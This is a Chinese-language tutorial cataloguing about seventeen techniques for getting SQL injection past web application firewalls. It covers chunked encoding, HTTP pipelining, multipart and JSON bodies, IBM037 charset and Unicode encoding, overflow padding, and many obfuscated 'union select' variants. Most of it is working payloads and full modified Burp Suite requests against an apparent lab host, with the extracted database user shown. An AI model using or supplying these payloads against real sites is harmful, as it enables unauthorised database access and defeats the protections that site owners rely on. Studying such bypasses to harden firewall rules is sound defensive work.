SQL注入绕过技术二
1、分块传输绕过
分块传输编码(Chunked transfer encoding)是只在 HTTP 协议 1.1 版本(HTTP/1.1)中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结束。
传统的 Content-length 解决方案:计算实体长度,并通过头部告诉对方。浏览器可以通过 Content-Length 的长度信息,判断出响应实体已结束。
在http头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。
分块传输每一个块的开头都有一个十六进制的数,表明这个块的大小,然后接 CRLF(“\r\n”)。然后是数据本身,数据结束后,还会有CRLF(“\r\n”)两个字符。有一些实现中,块大小的十六进制数和 CRLF 之间可以有空格。最后一块的块大小为 0,表明数据发送结束。最后一块不再包含任何数据,但是可以发送可选的尾部,包括消息头字段。
使用burp suite抓包然后进行修改头部,把一个正常的请求,添加一个头信息,修改为分块传输,然后修改数据的格式为分块传输的格式
假设请求体为: id=1&submit=1
修改格式
3
id=
1
&
7
submit=
1
1
0
第一行是长度 第二行是字符串这个长度的字符串, 0 表示传输结束 后面跟上两个空格。
也可以使用 burpsuite 的插件 chunked-coding-converter 进行编码提交
修改编码后可以提交注入语句
id=1 union select 1, user() --+
2、信任白名单绕过
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可以利用这个特点,可以试试白名单绕过。
白名单通常有目录:
/admin
/phpmyadmin
/admin.php
构建攻击语句
sqli_str.php?name=1&submit=1
修改为:
sqli_str.php?id=/admin.php?&name=' union select 1,user()--+&submit=1
sqli_str.php/phpmyadmin?name=' union select 1,user()--+&submit=1
3、静态文件绕过
除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。例如 图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会进行检测从而绕过 waf 拦截。
构建攻击语句
xxx.php?id=1.png&name=' union select 1,user()--+
xxx.php?id=1.js&name=' union select 1,user()--+
4、pipline绕过
http 协议是由 tcp 协议封装而来,当浏览器发起一个 http 请求时,浏览器先和服务器建立起连接tcp连接,然后发送http数据包(即我们用burpsuite截获的数据),其中包含了一个 Connection 字段,一般值为 close,apache 等容器根据这个字段决定是保持该 tcp 连接或是断开。当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止
用 burpsuite 抓包提交 复制整个包信息放在第一个包最后,把第一个包 close 改成 keep-alive 把 brupsuite 自动更新 Content-Length 勾去掉。
第一个包参数的字符要加上长度接着提交即可。有些 waf 会匹配第二个包的正属于正常参数,不会对第一个包的参数进行检测,这样就可以绕过一些 waf 拦截。
burpsuite抓包及修改后的样子
# 抓到的包发送到Repeater的样子
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.3.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: http://192.168.3.16
Connection: close
Referer: http://192.168.3.16/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=h583vnr6md9btmkcn2q5er52h3
Upgrade-Insecure-Requests: 1
id=1&submit=1
# 修改为
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.3.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 39
Origin: http://192.168.3.16
Connection: keep-alive
Referer: http://192.168.3.16/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=h583vnr6md9btmkcn2q5er52h3
Upgrade-Insecure-Requests: 1
id=-1+union+select+1,user()--+&submit=1POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.3.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Origin: http://192.168.3.16
Connection: close
Referer: http://192.168.3.16/06/vul/sqli/sqli_id.php
Cookie: PHPSESSID=h583vnr6md9btmkcn2q5er52h3
Upgrade-Insecure-Requests: 1
id=1&submit=1
# 还需要修改burp suite的菜单栏的 Repeater=>Update-Content-Length 把这个选项的勾取消
# 然后点击发送
# 就可以搜到这些被注入出来的内容了 <p class='notice'>hello,1 <br />your email is: root@localhost</p>
5、利用 multipart/form-data 绕过
在 http 头里的 Content-Type 提交表单支持三种协议
- application/x-www-form-urlencoded 编码模式 post 提交
- multipart/form-data 文件上传模式
- text/plain 文本模式
文件头的属性 是传输前对提交的数据进行编码发送到服务器。其中 multipart/form-data 表示该数据被编码为一条消息,页上的每个控件对应消息中的一个部分。所以,当 waf 没有规则匹配该协议传输的数据时可被绕过。
#头信息的关键部分
Content-Type: multipart/form-data;boundary=---------------------------28566904301101419271642457175
# boundary:28566904301101419271642457175 这个值是随机值,随便,但是要和下面保持一致
# 请求体的部分
---------------------------28566904301101419271642457175
Content-Disposition: form-data; name="id"
-1 union select 1,user()
---------------------------28566904301101419271642457175
Content-Disposition: form-data; name="submit"
submit
---------------------------28566904301101419271642457175
如果没有检测这个可能性的话,可以进行注入
6、order by绕过
当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。
select * from users where id=1 into @a,@b,@c,@d;
7、http 相同参数请求绕过
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测。如果程序中能同时接收get、post 如果 waf 只对 get 进行匹配拦截,没有对 post 进行拦截。
在burp suite中抓到包,修改请求头
# 最初的post包
POST /06/vul/sqli/sqli_id.php HTTP/1.1
Host: 192.168.3.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
....
id=1
# 修改为
POST /06/vul/sqli/sqli_id.php?id=1+union+select+1,2,user() HTTP/1.1
Host: 192.168.3.16
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
....
id=1
这样修改后一些程序get和post同时都有获取,就会获取到我们修改的get请求后面的攻击语句,可以绕过一些waf
8、application/json 者 或者 l text/xml 绕过
有些程序是 json 提交参数,程序也是 json 接收再拼接到 SQL 执行 json 格式通常不会被拦截。所以可以绕过 waf,但是限制类型是json:Content-Type:application/json
# burp suite抓包的界面修改原请求体为json格式
Content-Type:application/json
{"id":"1 union select 1,user()"}
9、溢出绕过
可以使用 select 0xA 运行大量字符从而突破一些 waf 拦截
id=1 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user()
post 编码,在burp suite里面选中后按ctrl+u
1+and+(select+1)%3d(select+0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user()&submit=1
id=1+and+(select+1)and+(select+0xA*1000)/*!union*//*!select*/+1,user()--+&submit=%E6%9F%A5%E8%AF%A2
10、花括号绕过
花括号 左边是注释的内容,需要是字符串 这样可以一些 waf 的拦截
select 1,2 union select{x 1},user()
11、使用 L ALL 或者 T DISTINCT 绕过
去掉重复值
select 1,2 from users where user_id=1 union DISTINCT select 1,2
select 1,2 from users where user_id=1 union select DISTINCT 1,user()
显示全部
select 1,2 from users where user_id=1 union all select 1,2
select 1,2 from users where user_id=1 union select all 1,user()
12、换行混绕绕过
目前很多 waf 都会对 union select 进行过滤的 因为使用联合查询 这两个关键词是必须的,一般过滤这个两个字符 想用联合查询就很难了。
可以使用换行 加上一些注释符进行绕过。
select 1,2 from users where user_id=1 union
/*
xxx
xxx
x
x
x
*/
DISTINCT 1,user()
13、编码绕过
原理:形式:“%”加上 ASCII 码(先将字符转换为两位 ASCII 码,再转为 16 进制),其中加号“+”在 URL 编码中和“%20”表示一样,均为空格。
当遇到非 ASCII 码表示的字符时,如中文,浏览器或通过编写 URLEncode,根据 UTF-8、GBK 等编码 16 进制形式,进行转换。如“春”的 UTF-8 编码为 E6 98A5,因此其在支持 UTF-8 的情况下,URL 编码为%E6%98%A5。值得注意的是采取不同的中文编码,会有不同的 URL 编码。
在 URL 传递到后台时,首先 web 容器会自动先对 URL 进行解析。容器解码时,会根据设置进行解析。这时,程序无需自己再次解码但是,有时从客户端提交的 URL 无法确定是何种编码,如果服务器选择的编码方式不匹配,则会造成中文乱码。为了解决这个问题,便出现了二次 URLEncode 的 方 法 。 在 客 户 端 对 URL 进 行 两 次 URLEncode,为纯 ASCII 码。
有些 waf 并未对参数进行解码,而后面程序处理业务时会进行解码,因此可以通过二次 url 编码绕过。
14、HTTP 数据编码绕过
编码绕过在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说它只识别 utf-8 的字符,但是服务器可以识别比 utf-8 更多的编码。那么我们只需要将 payload 按照 waf 识别不了但是服务器可以解析识别的编码格式即可绕过
比如请求包中我们可以更改Content-Type中的charset的参数值,我们改为ibm037这个协议编码,有些服务器是支持的。payload 改成这个协议格式就行了。
未编码
id=123&pass=pass%3d1
IBM037 编码
%89%84=%F1%F2%F3&%97%81%A2%A2=%97%81%A2%A2~%F1
在提交的 http header
Content-Type: application/x-www-form-urlencoded; charset=ibm037
一些服务对ibm037这个协议的支持情况
target | get请求 | post请求 |
---|---|---|
Nginx, uWSGI- Django-python3 | √ | √ |
Nginx, uWSGI- Django-python2 | √ | √ |
apache tomcat-jsp | × | √ |
IIS-ASPX(V4) | √ | √ |
IIS-ASP classic | × | × |
apache/IIS - php | × | × |
15、url 编码绕过
在 iis 里会自动把 url 编码转换成字符串传到程序中执行。
例如 union select
部分字符进行url编码,可以转换成 u%6eion s%65lect
绕过
16、Unicode 编码绕过
形式:“\u”或者是“%u”加上 4 位 16 进制 Unicode 码值。
iis 会自动进行识别这种编码 有部分 waf 并不会拦截这这种编码
-1 union select 1,user()
部分转码
-1 uni%u006fn sel%u0065ct 1,user()
全部转码
%u002d%u0031%u0020%u0075%u006e%u0069%u006f%u006e%u0020%u0073%u
0065%u006c%u0065%u0063%u0074%u0020%u0031%u002c%u0075%u0073%u00
65%u0072%u0028%u0029
17、union select 绕过
目前不少 waf 都会使用都会对 union select 进行拦截 单个不拦截 一起就进行拦截。
针对单个关键词绕过
sel<>ect 程序过滤<>为空 脚本处理
sele/**/ct 程序过滤/**/为空
/*!%53eLEct*/ url 编码与内联注释
se%0blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过
大小写
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/*!union*//*!select*/1,2
union/**/select/**/1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2
/*!12345union*//*!12345select*/1,2;
/*中文*/union/*中文*/select/*中文*/1,2;
/* */union/* */select/ */1,2;
/*!union*//*!00000all*//*!00000select*/1,2